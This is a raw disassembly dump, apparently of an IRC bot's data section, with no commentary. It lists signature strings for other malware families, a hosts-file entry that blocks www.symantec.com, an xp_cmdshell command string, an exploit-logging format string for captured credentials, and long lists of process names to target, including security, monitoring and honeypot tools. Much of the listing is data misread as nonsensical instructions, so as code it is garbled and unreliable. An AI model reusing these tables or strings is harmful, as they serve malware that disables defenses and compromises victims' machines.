offset dword_44D604 dd offset loc_44D5F8 dd offset aC101 ; "C101" dd offset dword_44D5E4 dd offset off_44D5E0 dd offset a3GsUT ; "3Ƀé°ÙîÙt" dd offset aNetapi4444bind ; "Netapi4444Bind" dd offset dword_44D5B8 dd offset off_44D5B4 dd offset dword_44D5A8 dd offset aRbot_psniff ; "rbot.psniff" dd offset aPsniffThread ; "psniff thread" dd offset aQ8 ; "Q8" dd offset aWeBackLooooooo ; "We BaCk LoooooooooooOOOOOOOOOOOOOooo" dd offset dword_44D550 dd offset dword_44D540 dd offset dword_44D530 dd offset dword_44D520 dd offset aLinkbot_dcom_b ; "Linkbot.dcom.b" dd offset aDcom2_c ; "dcom2.c:" dd offset aLinkbot_dcom_c ; "Linkbot.dcom.c" dd offset aDcom2 ; "dcom2:" dd offset aLinkbot_rpc ; "Linkbot.RPC" dd offset aRpc_c ; "RPC.c:" dd offset aLinkbot_shellc ; "Linkbot.Shellcode" dd offset dword_44D4B0 dd offset aOtherbot_a ; "Otherbot.a" dd offset aScan_start ; "scan.start" dd offset aOtherbot_b ; "Otherbot.b" dd offset aRoot_start ; "root.start" dd offset aIroffer_a ; "Iroffer.a" dd offset aHttpIroffer_or ; "http://iroffer.org/" dd offset aIroffer_b ; "Iroffer.b" dd offset aTotalOffered1_ ; "Total Offered: %1.1f MB Total Transfer"... dd offset aIrofferAll ; "Iroffer-All" dd offset aSendingYouPack ; "** Sending you pack #%i (\"%s\"), which i"... dd offset dword_44D3C0 dd offset dword_44D3B8 dd offset aMydoom_b ; "MyDoom.B" dd offset aFbsgjnerZvpebf ; "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr An"... dd offset aMydoom_c ; "MyDoom.C" dd offset aFbsgjnerZvpe_0 ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"... dd offset aBlaster ; "Blaster" dd offset dword_44D31C dd offset aZotobForbotMod ; "Zotob/ForBot Mods" dd offset aAddexExinfo ; "AddEx(exinfo)" dd offset aWelchia_a ; "Welchia.a" dd offset aRpcpatch_mutex ; "RpcPatch_Mutex" dd offset dword_44D2D0 dd offset dword_44D31C dd offset dword_44D2C4 dd offset dword_44D2B0 dd offset aChangehosts ; "ChangeHosts" dd offset a127_0_0_1Www_s ; "\n127.0.0.1\twww.symantec.com\n" dd offset dword_44D274 dd offset dword_44D268 dd offset dword_44D260 dd offset dword_44D24C dd offset aPnp_b ; "PNP.b" dd offset a8d9f4e40A03d11 ; "8d9f4e40-a03d-11ce-8f69-08003e30051b" dd offset aMssql_a ; "MSSQL.A" dd offset aThcthcthcthcth ; "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"... dd offset aMssql_b ; "MSSQL.B" dd offset aExecMaster__xp ; "EXEC master..xp_cmdshell" dd offset aWebdav ; "WebDav" dd offset loc_44D1A8 dd offset aRxMain ; "Rx Main" dd offset aMain ; "[MAIN]: " dd offset aIis5ssl ; "IIS5SSL" dd offset byte_44D17C dd offset aVncscan ; "VNCScan" dd offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe" dd offset aNetdevil ; "NetDevil" dd offset aPleaz_runS ; "pleaz_run%s" dd offset aOptix ; "Optix" dd offset a022moptestmv1_ ; "022¬OPtest¬v1.1\r\n" dd offset loc_44D113+5 dd offset loc_44D10F+1 dd offset aOld4444shell ; "Old4444Shell" dd offset loc_44D0F4 dd offset dword_44D0E8 dd offset dword_44D0D4 dd offset dword_44D0C4 dd offset loc_44D0B0 dd offset dword_44D0A0 dd offset loc_44D08C dd offset dword_44D07C dd offset dword_44D068 dd offset dword_44D05C dd offset loc_44D044 dd offset aBobic_a ; "Bobic.A" dd offset aOsamaBinLadenC ; "Osama Bin Laden Captured." dd offset aBobic_b ; "Bobic.B" dd offset aDonateToTheHur ; "Donate to the Hurricane Katrina relief "... dd offset aBeagle ; "Beagle" dd offset dword_44CFCC dd offset aMsblast ; "MsBlast" dd offset aWindowsupdate_ ; "windowsupdate.com" dd offset aLowerzones ; "LowerZones" dd offset aSoftwareMicr_6 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd offset aHiderGui ; "Hider-Gui" dd offset aSoftwareAdrian ; "Software\\Adrian Lopez\\HideWindow\\Prefer"... dd offset aHiderun ; "HideRun" dd offset aHiderunHiddenA ; "HideRun -- hidden application launcher."... dd offset aR57 ; "r57" dd offset aI2luy2x1zgugph ; "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA"... dd offset aC99 ; "c99" dd offset aR0lgodlhfaauak ; "R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaG"... dd offset aDcomOldScan ; "Dcom-Old-Scan" dd offset aPipeEpmapper ; "pipe\\epmapper\\" dd offset aNircomline ; "NirComLine" dd offset aNircomline ; "NirComLine" dd offset aMsnbot_a ; "MSNBot.a" dd offset aStaticConstCha ; "static const char *msg_english[] = {" dd offset aMsnbot_b ; "MSNBot.b" dd offset aImportMsnMsnme ; "#import \"MSN/MSNMessengerAPI.tlb\" named"... dd offset aFu_rootkit_a ; "FU.Rootkit.a" ; --------------------------------------------------------------------------- aam 0CCh inc esp add ah, al int 3 ; Trap to Debugger inc esp add [esp+ecx*8-3383FFBCh], cl inc esp add [esp+ecx*8+44h], cl add [eax], bh int 3 ; Trap to Debugger inc esp add [eax-6BFFBB35h], ah retf ; --------------------------------------------------------------------------- dw 44h ; --------------------------------------------------------------------------- mov bl, cl inc esp add [ebx+ecx*8+44h], bh add [ebx+ecx*8+44h], ch add [ebx+ecx*8+44h], dl add [eax], ch retf ; --------------------------------------------------------------------------- dw 44h ; --------------------------------------------------------------------------- sbb al, 0CBh inc esp add al, dl retf 44h ; --------------------------------------------------------------------------- dd offset aFiredaemon_a ; "FireDaemon.A" dd offset aCopyrightC2007 ; "Copyright (c) 2007 FireDaemon Technolog"... dd offset aFiredaemon_b ; "FireDaemon.B" ; --------------------------------------------------------------------------- pusha retf 44h ; --------------------------------------------------------------------------- push eax retf 44h ; --------------------------------------------------------------------------- dd offset loc_44CA3C dd offset aNtbot_a ; "NTBot.A" dd offset aStaticConstUns ; "static const unsigned long crc32tab[256"... dd offset aNtbot_b ; "NTBot.B" dd offset aExploitingSUse ; "(Exploiting: %s User: %s / Pass: %s\r\n)" dd offset dword_44C9C8 dd offset dword_44C9A4 dd offset dword_44C998 dd offset dword_44C980 dd 2 dup(0) off_447E68 dd offset a_tmp_exe_0 ; DATA XREF: sub_41F0F5+1FEr ; sub_41F0F5+274r ; "*.tmp.exe" dd offset a_tmp_exe ; "*.TMP.EXE" dd offset aEraseme_exe_1 ; "eraseme*.exe" dd offset aEraseme_exe_0 ; "ERASEME*.EXE" dd offset aSsms_exe ; "ssms.exe" dd offset aMsile_exe ; "msile.exe" dd offset aWorm32_exe_0 ; "worm32.exe" dd offset aPenis_exe ; "penis.exe" dd offset aPenis32_exe_0 ; "penis32.exe" dd offset aMsblast_exe_0 ; "msblast.exe" dd offset aKernel32_exe_0 ; "kernel32.exe" dd offset aSvhost_exe_0 ; "svhost.exe" ; --------------------------------------------------------------------------- fmul st, st inc esp add al, dl enter 44h, 0C4h enter 44h, 0B8h enter 44h, 0ACh enter 44h, 9Ch enter 44h, 90h enter 44h, 84h enter 44h, 74h enter 44h, 64h enter 44h, 58h enter 44h, 4Ch enter 44h, 40h enter 44h, 34h enter 44h, 28h enter 44h, 20h enter 44h, 14h enter 44h, 8 enter 44h, 0FCh mov dword ptr [eax+eax-10h], 0E80044C7h mov dword ptr [eax+eax-24h], 0CC0044C7h mov dword ptr [eax+eax-40h], 940044C7h mov dword ptr [eax+eax-78h], 7C0044C7h mov dword ptr [eax+eax+70h], 600044C7h mov dword ptr [eax+eax+50h], 400044C7h mov dword ptr [eax+eax+30h], 200044C7h mov dword ptr [eax+eax+14h], 80044C7h mov dword ptr [eax+eax-4], 0F00044C6h mov byte ptr [eax+eax-18h], 0C6h inc esp add al, bl mov byte ptr [eax+eax-38h], 0C6h inc esp add [esi+eax*8-3953FFBCh], bh inc esp add [esi+eax*8-3973FFBCh], bl inc esp add [esi+eax*8-3987FFBCh], al inc esp add [esi+eax*8+44h], ch add [eax-3Ah], ah inc esp add [eax-3Ah], dl inc esp add [esi+eax*8+44h], al add [eax], bh mov byte ptr [eax+eax+2Ch], 0C6h inc esp add [eax], ah mov byte ptr [eax+eax+18h], 0C6h inc esp add [eax], dl mov byte ptr [eax+eax+4], 0C6h inc esp add al, bh lds eax, [eax+eax-18h] lds eax, [eax+eax-24h] lds eax, [eax+eax-30h] lds eax, [eax+eax-40h] lds eax, [eax+eax-4Ch] lds eax, [eax+eax-5Ch] lds eax, [eax+eax-68h] lds eax, [eax+eax-74h] lds eax, [eax+eax-80h] lds eax, [eax+eax+78h] lds eax, [eax+eax+6Ch] lds eax, [eax+eax+5Ch] lds eax, [eax+eax+4Ch] lds eax, [eax+eax+40h] lds eax, [eax+eax+34h] lds eax, [eax+eax+28h] lds eax, [eax+eax+18h] lds eax, [eax+eax+0Ch] lds eax, [eax+eax+0] lds eax, [eax+eax-0Ch] les eax, [eax+eax-18h] les eax, [eax+eax-28h] les eax, [eax+eax-38h] les eax, [eax+eax-44h] les eax, [eax+eax-4Ch] loc_447FDD: ; CODE XREF: .text:00448018j les eax, [eax+eax-58h] les eax, [eax+eax-64h] les eax, [eax+eax-70h] les eax, [eax+eax-7Ch] les eax, [eax+eax+78h] les eax, [eax+eax+68h] les eax, [eax+eax+58h] les eax, [eax+eax+4Ch] les eax, [eax+eax+3Ch] les eax, [eax+eax+2Ch] les eax, [eax+eax+1Ch] les eax, [eax+eax+0Ch] les eax, [eax+eax-4] retn ; --------------------------------------------------------------------------- dw 44h dd offset aWintask32_exe ; "WINTASK32.EXE" ; --------------------------------------------------------------------------- loopne loc_447FDD inc esp add al, dl retn ; --------------------------------------------------------------------------- dw 44h ; --------------------------------------------------------------------------- rol bl, 44h add [ebx+eax*8-3C57FFBCh], dh inc esp add [ebx+eax*8-3C77FFBCh], dl inc esp add [eax-3Dh], bh inc esp add [ebx+eax*8+44h], ch add [eax-3Dh], ah inc esp add [eax-3Dh], dl inc esp add [eax-3Dh], al inc esp add [ebx+eax*8], dh inc esp add [ebx+eax*8], ah inc esp add [eax], bl retn ; --------------------------------------------------------------------------- dw 44h dd offset aMsJava_exe ; "MS-JAVA.EXE" dd offset aMsjava_exe ; "MSJAVA.EXE" dd offset aMsupsrv_exe ; "MSUPSRV.EXE" dd offset aMsusb_exe ; "MSUSB.EXE" ; --------------------------------------------------------------------------- fadd st, st(2) inc esp add ah, cl retn 44h ; --------------------------------------------------------------------------- rol dl, 44h add [edx+eax*8-3D5BFFBCh], dh inc esp add [eax-77FFBB3Eh], bl retn 44h ; --------------------------------------------------------------------------- dd offset aDmloader_exe ; "DMLOADER.EXE" ; --------------------------------------------------------------------------- push 5C0044C2h retn 44h ; --------------------------------------------------------------------------- dd offset aDpnwsock_exe ; "DPNWSOCK.EXE" ; --------------------------------------------------------------------------- inc eax retn 44h ; --------------------------------------------------------------------------- xor al, 0C2h inc esp add [eax], ch retn 44h ; --------------------------------------------------------------------------- sbb al, 0C2h inc esp add [eax], dl retn 44h ; --------------------------------------------------------------------------- dd offset aBingo_exe ; "BINGO.EXE" dd offset aWks_exe ; "WKS.EXE" dd offset aSvhostcs32_exe ; "SVHOSTCS32.EXE" dd offset aNtsf_exe ; "NTSF.EXE" dd offset aSpoolss_exe ; "SPOOLSS.EXE" dd offset aMysvcc_exe ; "MYSVCC.EXE" dd offset aSerrv_exe ; "SERRV.EXE" dd offset aWinsys_32_exe ; "WINSYS_32.EXE" dd offset aSserrvv_exe ; "SSERRVV.EXE" dd offset aWinsockx32_exe ; "WINSOCKX32.EXE" dd offset aNetmsn_exe ; "NETMSN.EXE" dd offset aMsdevelop_exe ; "MSDEVELOP.EXE" dd offset aLsass32_exe ; "LSASS32.EXE" dd offset aWinrpc_exe ; "WINRPC.EXE" dd offset aSys_exe ; "SYS.EXE" dd offset aWinupd_exe ; "WINUPD.EXE" dd offset aSyser_exe ; "SYSER.EXE" dd offset aAkwid_exe ; "AKWID.EXE" dd offset aAk_exe ; "AK.EXE" dd offset aWinl0gon_exe ; "WINL0GON.EXE" dd offset aWinl0gin_exe ; "WINL0GIN.EXE" dd offset aWinlogon32_exe ; "WINLOGON32.EXE" dd offset aYesbron_com ; "YESBRON.COM" dd offset aMsmpls_exe ; "MSMPLS.EXE" dd offset aMsnplus_exe ; "MSNPLUS.EXE" dd offset aTmrservice_exe ; "TMRSERVICE.EXE" dd offset aInstall_sp_exe ; "INSTALL_SP.EXE" dd offset aAlg32_exe ; "ALG32.EXE" dd offset aMsnupdate_exe ; "MSNUPDATE.EXE" dd offset aMsnupdater_exe ; "MSNUPDATER.EXE" dd offset aMsner_exe ; "MSNER.EXE" dd offset aMsmmsgr_exe ; "MSMMSGR.EXE" dd offset aMsnmsgrr_exe ; "MSNMSGRR.EXE" dd offset aSpoolv_exe ; "SPOOLV.EXE" dd offset aSpoolvs_exe ; "SPOOLVS.EXE" dd offset aKernel32_exe ; "KERNEL32.EXE" dd offset aSssvhost_exe ; "SSSVHOST.EXE" dd offset aLsass_32_exe ; "LSASS_32.EXE" dd offset aIiexplore_exe ; "IIEXPLORE.EXE" dd offset aIiexplorer_exe ; "IIEXPLORER.EXE" dd offset aAsn1sys_exe ; "ASN1SYS.EXE" dd offset aWgareg_exe ; "WGAREG.EXE" dd offset aServices32_exe ; "SERVICES32.EXE" dd offset aMicrosoft_exe ; "MICROSOFT.EXE" dd offset aLinewsrv_exe ; "LINEWSRV.EXE" dd offset aWinime_exe ; "WINIME.EXE" dd offset aWservice_exe ; "WSERVICE.EXE" dd offset aWservices_exe ; "WSERVICES.EXE" dd offset aScsrc_exe ; "SCSRC.EXE" dd offset aWinsvc_exe ; "WINSVC.EXE" dd offset aWin32update_ex ; "WIN32UPDATE.EXE" dd offset aDnssrv_exe ; "DNSSRV.EXE" dd offset aDnssvc_exe ; "DNSSVC.EXE" dd offset aDns32_exerxbot ; "DNS32.EXERXBOT.EXE" dd offset aCrxbot_exe ; "CRXBOT.EXE" dd offset aBot_exe ; "BOT.EXE" dd offset aRundll_exe ; "RUNDLL.EXE" dd offset aW32gen_exe ; "W32GEN.EXE" dd offset aTaskmngr32_exe ; "TASKMNGR32.EXE" dd offset aIe6_exe ; "IE6.EXE" dd offset aIe7_exe ; "IE7.EXE" dd offset aPapersrv_exe ; "PAPERSRV.EXE" dd offset aTskmgr_exe ; "TSKMGR.EXE" dd offset aNdrv_exe ; "NDRV.EXE" dd offset aMshtml_exe ; "MSHTML.EXE" dd offset aMshtml1_exe ; "MSHTML1.EXE" dd offset aMshtml2_exe ; "MSHTML2.EXE" dd offset aMshtml3_exe ; "MSHTML3.EXE" dd offset aCtxad_exe ; "CTXAD.EXE" dd offset aRundii32_exe ; "RUNDII32.EXE" dd offset aPopwin_exe ; "POPWIN.EXE" dd offset aMsserrv32_exe ; "MSSERRV32.EXE" dd offset aMsserv32_exe ; "MSSERV32.EXE" dd offset aRundll16_exe ; "RUNDLL16.EXE" dd offset aMathchk_exe ; "MATHCHK.EXE" dd offset aPicx_exe ; "PICX.EXE" dd offset aSuhoy_exe ; "SUHOY.EXE" dd offset aWinupdates_exe ; "WINUPDATES.EXE" dd offset aMsmgrxp_exe ; "MSMGRXP.EXE" dd offset aRpc32_exe ; "RPC32.EXE" dd offset aSystra_exe ; "SYSTRA.EXE" dd offset aSyscfg16_exe ; "SYSCFG16.EXE" dd offset aSyscfg32_exe ; "SYSCFG32.EXE" dd offset aWincfg32_exe ; "WINCFG32.EXE" dd offset aTaskgmr_exe ; "TASKGMR.EXE" dd offset aTaskm0n_exe ; "TASKM0N.EXE" dd offset aWfdmgr_exe ; "WFDMGR.EXE" dd offset aXpfirewall_exe ; "XPFIREWALL.EXE" dd offset aMsnmsgs_exe ; "MSNMSGS.EXE" dd offset aMsnmsg_exe ; "MSNMSG.EXE" dd offset aWinis_exe ; "WINIS.EXE" dd offset aWin32_exe ; "WIN32.EXE" dd offset aWin_exe ; "WIN.EXE" dd offset aCmrss_dll_exe ; "CMRSS.DLL.EXE" dd offset aWinnamps_exe ; "WINNAMPS.EXE" dd offset aWinb_exe ; "WINB.EXE" dd offset aMydocs_exe ; "MYDOCS.EXE" dd offset aWinmap_exe ; "WINMAP.EXE" dd offset aSvcshoter_exe ; "SVCSHOTER.EXE" dd offset aWups_exe ; "WUPS.EXE" dd offset aSaveuninst_exe ; "SAVEUNINST.EXE" dd offset aWindows_exe ; "WINDOWS.EXE" dd offset aWindow_exe ; "WINDOW.EXE" dd offset aW32_exe ; "W32.EXE" dd offset aSystem_exe ; "SYSTEM.EXE" dd offset aSystem32_exe ; "SYSTEM32.EXE" dd offset aWinsystem_exe ; "WINSYSTEM.EXE" dd offset aWinrarx_exe ; "WINRARX.EXE" dd offset aWindowsp_exe ; "WINDOWSP.EXE" dd offset aHiddenrun_exe ; "HIDDENRUN.EXE" dd offset aHidden32_exe ; "HIDDEN32.EXE" dd offset aHidden_exe ; "HIDDEN.EXE" dd offset aHide_exe ; "HIDE.EXE" dd offset aWinpadg_exe ; "WINPADG.EXE" dd offset aMsgmr_exe ; "MSGMR.EXE" dd offset aMsgm_exe ; "MSGM.EXE" dd offset aFunny_pic_scr ; "FUNNY_PIC.SCR" dd offset aHellmsn_exe ; "HELLMSN.EXE" dd offset aMyt0b_exe ; "MYT0B.EXE" dd offset aMybot_exe ; "MYBOT.EXE" dd offset a666_exe ; "666.EXE" dd offset aWip_exe ; "WIP.EXE" dd offset aMsnlive_exe ; "MSNLIVE.EXE" dd offset aService_exe ; "SERVICE.EXE" dd offset aMs_exe ; "MS.EXE" ; --------------------------------------------------------------------------- add al, 0C6h inc esp add al, ah mov ebx, 0BBD40044h inc esp add al, cl mov ebx, 0BBBC0044h inc esp add [eax-5BFFBB45h], dh mov ebx, 0BB980044h inc esp add [eax+7C0044BBh], cl mov ebx, 0BB700044h inc esp add [ebx+edi*4+44h], ah add [eax-45h], bl inc esp add [ebx+edi*4+44h], cl add ah, dh retn 44h ; --------------------------------------------------------------------------- dd offset aWinsys_exe ; "WINSYS.EXE" dd offset aWinz_exe ; "WINZ.EXE" dd offset aXml_exe ; "XML.EXE" dd offset aXml32_exe ; "XML32.EXE" dd offset aLansas_exe ; "LANSAS.EXE" dd offset aWuamgr_exe ; "WUAMGR.EXE" dd offset aWuamgrd_exe ; "WUAMGRD.EXE" dd offset aWuamgrd3_exe ; "WUAMGRD3.EXE" dd offset aIpcmgr_exe ; "IPCMGR.EXE" dd offset aWinsock_exe ; "WINSOCK.EXE" dd offset aWinspooler_exe ; "WINSPOOLER.EXE" dd offset aWinusb_exe ; "WINUSB.EXE" dd offset aWinusb32_exe ; "WINUSB32.EXE" dd offset aSvcost_exe ; "SVCOST.EXE" dd offset aSys_xp_exe ; "SYS_XP.EXE" dd offset aIrun4_exe ; "IRUN4.EXE" dd offset aNttdll_exe ; "NTTDLL.EXE" dd offset aWinhelp_exe_0 ; "WINHELP.EXE" dd offset aSpoolmgr_exe ; "SPOOLMGR.EXE" dd offset aServicesmsi_ex ; "SERVICESMSI.EXE" dd offset aUpdat_exe ; "UPDAT.EXE" dd offset aSvvosts_exe ; "SVVOSTS.EXE" dd offset aDsrss_exe ; "DSRSS.EXE" dd offset aIeserver_exe ; "IESERVER.EXE" dd offset aVhost_exe ; "VHOST.EXE" dd offset aSsate_exe ; "SSATE.EXE" dd offset aBeagle_exe ; "BEAGLE.EXE" dd offset aBbeagle_exe ; "BBEAGLE.EXE" ; --------------------------------------------------------------------------- fdivr dword ptr [ecx-4637FFBCh] inc esp add [eax-57FFBB47h], bh mov ecx, 0B99C0044h inc esp add [eax-7BFFBB47h], dl mov ecx, 0B9780044h inc esp add [ecx+edi*4+44h], ch add [eax-47h], ah inc esp add [ecx+edi*4+44h], dl add [ecx+edi*4+44h], cl add [eax-47h], al inc esp add [eax], dh mov ecx, 0C41C0044h inc esp add [eax], ah mov ecx, 0B9140044h inc esp add [eax], cl mov ecx, 0B8F80044h inc esp add al, ch mov eax, 0B8DC0044h inc esp add ah, dl mov eax, 0B8C40044h inc esp add [eax+edi*4-4753FFBCh], dh inc esp add [eax-6BFFBB48h], ah mov eax, 0B8840044h inc esp add [eax-48h], bh inc esp add [eax+edi*4+44h], ch add [eax-48h], ah inc esp add [eax-48h], dl inc esp add [eax-3Fh], bl inc esp add [eax-48h], al inc esp add [eax], dh mov eax, 0B8240044h inc esp add ah, cl retn 44h ; --------------------------------------------------------------------------- dd offset aIsmini_exe ; "ISMINI.EXE" dd offset aIshost_exe ; "ISHOST.EXE" dd offset aMssdev_exe ; "MSSDEV.EXE" dd offset aIi_exe ; "II.EXE" dd offset aNewbot_exe ; "NEWBOT.EXE" dd offset aSchost_exe ; "SCHOST.EXE" dd offset aWindowantasdiv ; "WINDOWANTASDIVRI.EXE" dd offset aCtfmom_exe ; "CTFMOM.EXE" dd offset aRecsl_exe ; "RECSL.EXE" dd offset aInternet_exe ; "INTERNET.EXE" dd offset aWinlogin_exe ; "WINLOGIN.EXE" dd offset aWuaumqr1_exe ; "WUAUMQR1.EXE" dd offset aQtask_exe ; "QTASK.EXE" dd offset aSmsc_exe ; "SMSC.EXE" dd offset aCmh_exe ; "CMH.EXE" dd offset aTskmagr_exe ; "TSKMAGR.EXE" dd offset aEraseme_exe ; "ERASEME.EXE" dd offset aMessengerr_exe ; "MESSENGERR.EXE" dd offset aQkkku_exe ; "QKKKU.EXE" dd offset aWindowsvista_e ; "WINDOWSVISTA.EXE" dd offset aMswins_exe ; "MSWINS.EXE" dd offset aMyhost_exe ; "MYHOST.EXE" dd offset aBsdmpldrvr642_ ; "BSDMPLDRVR642.EXE" dd offset aRp5_exe ; "RP5.EXE" dd offset aSvcvhost_exe ; "SVCVHOST.EXE" dd offset aJswtss_exe ; "JSWTSS.EXE" dd offset aWaucult_exe ; "WAUCULT.EXE" dd offset aMsssmsngr6417_ ; "MSSSMSNGR6417.EXE" dd offset aWinmpat_exe ; "WINMPAT.EXE" dd offset aSvhostcs32_exe ; "SVHOSTCS32.EXE" dd offset aWinpooch_exe ; "WINPOOCH.EXE" dd offset aRundil_exe ; "RUNDIL.EXE" dd offset aRundll_exe ; "RUNDLL.EXE" dd offset aAg_exe ; "AG.EXE" dd offset aA_bat ; "A.BAT" dd offset aHbot_exe ; "HBOT.EXE" dd offset aDbot_exe ; "DBOT.EXE" dd offset aZz_exe ; "ZZ.EXE" dd offset aTcpview_exe ; "TCPVIEW.EXE" dd offset aTcpviewpro_exe ; "TCPVIEWPRO.EXE" dd offset aTcpdump_exe ; "TCPDUMP.EXE" dd offset aTcpmon_exe ; "TCPMON.EXE" dd offset aTcpstat_exe ; "TCPSTAT.EXE" dd offset aTcpstats_exe ; "TCPSTATS.EXE" dd offset aSharemon_exe ; "SHAREMON.EXE" dd offset aHostmon_exe ; "HOSTMON.EXE" dd offset aWinsniff_exe ; "WINSNIFF.EXE" dd offset aRegmon_exe ; "REGMON.EXE" dd offset aProcexp_exe ; "PROCEXP.EXE" dd offset aPortmon_exe ; "PORTMON.EXE" dd offset aFilemon_exe ; "FILEMON.EXE" dd offset aFport_exe ; "FPORT.EXE" dd offset aTlist_exe ; "TLIST.EXE" dd offset aProcdump_exe ; "PROCDUMP.EXE" dd offset aProcdump32_exe ; "PROCDUMP32.EXE" dd offset aPexplorer_exe ; "PEXPLORER.EXE" dd offset aNetworkactivpi ; "NETWORKACTIVPIAFCTMV1.5.EXE" dd offset aXdcc_install_e ; "XDCC_INSTALL.EXEDD.EXE" dd offset aAoautoupdatena ; "AOAUTOUPDATENAV.EXE" dd offset aCash_exe ; "CASH.EXE" dd offset a0cash_exe ; "0CASH.EXE" dd offset aCash7oc_jpg ; "CASH7OC.JPG" dd offset aLogix_exe ; "LOGIX.EXE" dd offset a2pac_exe ; "2PAC.EXE" dd offset aOp_exe ; "OP.EXE" dd offset aOoooo_exe ; "OOOOO.EXE" dd offset aOooo_exe ; "OOOO.EXE" dd offset aDgjdjg_exe ; "DGJDJG.EXE" dd offset aArabz_exe ; "ARABZ.EXE" dd offset aArabian_exe ; "ARABIAN.EXE" dd offset aTbar_exe ; "TBAR.EXE" dd offset aPusu_exe ; "PUSU.EXE" dd offset aNaab_exe ; "NAAB.EXE" dd offset aFtpit_exe ; "FTPIT.EXE" dd offset aIcmd_exe ; "ICMD.EXE" dd offset aXssh_exe ; "XSSH.EXE" dd offset aTcpshell_exe ; "TCPSHELL.EXE" dd offset aHidden32_exe ; "HIDDEN32.EXE" dd offset aHiderun_exe ; "HIDERUN.EXE" dd offset aHidden32_exe ; "HIDDEN32.EXE" dd offset aHidden_exe ; "HIDDEN.EXE" dd offset aHide_exe ; "HIDE.EXE" dd offset aMsblast_exe ; "MSBLAST.EXE" dd offset aBlast_exe ; "BLAST.EXE" dd offset aSasser_exe ; "SASSER.EXE" dd offset aSassere_exe ; "SASSERE.EXE" dd offset aScrhost32_exe ; "SCRHOST32.EXE" dd offset aWuamgrd_exe ; "WUAMGRD.EXE" dd offset aWuamgre_exe ; "WUAMGRE.EXE" dd offset aWins32_exe ; "WINS32.EXE" dd offset aZfr_exe ; "ZFR.EXE" dd offset aZf_exe ; "ZF.EXE" dd offset aSvchost32_exe ; "SVCHOST32.EXE" dd offset aSvc_exe ; "SVC.EXE" dd offset aIexpl0re_exe ; "IEXPL0RE.EXE" dd offset aSvcost_exe ; "SVCOST.EXE" dd offset aSvhost_exe ; "SVHOST.EXE" dd offset aSvhosts_exe ; "SVHOSTS.EXE" dd offset aSvch0st32_exe ; "SVCH0ST32.EXE" dd offset aScrh0st_exe ; "SCRH0ST.EXE" dd offset aWuamkoppnp_exe ; "WUAMKOPPNP.EXE" dd offset aSpoolss_exe ; "SPOOLSS.EXE" dd offset aSysinfo_exe ; "SYSINFO.EXE" dd offset aAddiq32_exe ; "ADDIQ32.EXE" dd offset aNtsf_exe ; "NTSF.EXE" dd offset aWindows_update ; "WINDOWS_UPDATER01.EXE" dd offset aQq_exe ; "QQ.EXE" dd offset aIexploree_exe ; "IEXPLOREE.EXE" dd offset aCrss32_exe ; "CRSS32.EXE" dd offset aSpool32_exe ; "SPOOL32.EXE" dd offset aSpools32_exe ; "SPOOLS32.EXE" dd offset aRun0nce_exe ; "RUN0NCE.EXE" dd offset aMsdev32_exe ; "MSDEV32.EXE" dd offset aPostcard_exe ; "POSTCARD.EXE" dd offset aFoods_exe ; "FOODS.EXE" dd offset aMswin32 ; "MSWIN32" dd offset aHide_exe ; "HIDE.EXE" dd offset aTaskhider_exe ; "TASKHIDER.EXE" dd offset aNi_exe ; "NI.EXE" dd offset aRview_exe ; "RVIEW.EXE" dd offset aRadmin21_exe ; "RADMIN21.EXE" dd offset aRadmin22_exe ; "RADMIN22.EXE" dd offset aWsg32_exe ; "WSG32.EXE" dd offset aXtc_exe ; "XTC.EXE" dd offset aCiao_exe ; "CIAO.EXE" dd offset aRdr32_exe ; "RDR32.EXE" dd offset aWrapper_exe ; "WRAPPER.EXE" dd offset aStub_exe ; "STUB.EXE" dd offset aTemp_exe ; "TEMP.EXE" dd offset aDftpd_exe ; "DFTPD.EXE" dd offset aWinmaster_exe ; "WINMASTER.EXE" dd offset aSlave_exe ; "SLAVE.EXE" dd offset aSlave32_exe ; "SLAVE32.EXE" dd offset aWinslave_exe ; "WINSLAVE.EXE" dd offset aKralor_exehaxo ; "KRALOR.EXEHAXOR.EXE" dd offset aMykralor_exe ; "MYKRALOR.EXE" dd offset aAcc3pt_exe ; "ACC3PT.EXE" dd offset aBeast_exe ; "BEAST.EXE" dd offset aTq_exe ; "TQ.EXE" dd offset aVirus_exe ; "VIRUS.EXE" dd offset aVirus32_exe ; "VIRUS32.EXE" dd offset aHoneyd_exe ; "HONEYD.EXE" dd offset aHoneywall_exe ; "HONEYWALL.EXE" dd offset aSebek_exe ; "SEBEK.EXE" dd offset aSelebek_exe ; "SELEBEK.EXE" dd offset aAntibotty_exe ; "ANTIBOTTY.EXE" dd offset aSysd32_exe ; "SYSD32.EXE" dd offset aRoo_exe ; "ROO.EXE" dd offset aRoo32_exe ; "ROO32.EXE" dd offset aHoney_exe ; "HONEY.EXE" dd offset aTrojan_exe ; "TROJAN.EXE" dd offset aSub7_exe ; "SUB7.EXE" dd offset aBd_exe ; "BD.EXE" dd offset aDoor_exe ; "DOOR.EXE" dd offset aOmfglol_exe ; "OMFGLOL.EXE" dd offset aOwned_exe ; "OWNED.EXE" dd offset a1_exe ; "1.EXE" dd offset a6_exe ; "6.EXE" dd offset aDiablo_exe ; "DIABLO.EXE" dd offset aDiabl0_exe ; "DIABL0.EXE" dd offset aRunthis_exe ; "RUNTHIS.EXE" dd offset aKit_exe ; "KIT.EXE" dd offset aXdcckit_exe ; "XDCCKIT.EXE" dd offset aXd_exe ; "XD.EXE" dd offset aIcmd_exe ; "ICMD.EXE" dd offset aHxdef100_exe ; "HXDEF100.EXE" dd offset aBdcli100_exe ; "BDCLI100.EXE" dd offset aRdrbs100_exe ; "RDRBS100.EXE" dd offset aHxdofena_exe ; "HXDOFENA.EXE" dd offset aHxgold_exe ; "HXGOLD.EXE" dd offset aHxdef073_exe ; "HXDEF073.EXE" dd offset aBdcli073_exe ; "BDCLI073.EXE" dd offset aRdrbs073_exe ; "RDRBS073.EXE" dd offset aHxdofena_exe ; "HXDOFENA.EXE" dd offset aKeylogger_exe ; "KEYLOGGER.EXE" dd offset aKeylog_exe ; "KEYLOG.EXE" dd offset aKeylogg_exe ; "KEYLOGG.EXE" dd offset aDrweb32_exe ; "DRWEB32.EXE" dd offset aMsantispy_exe ; 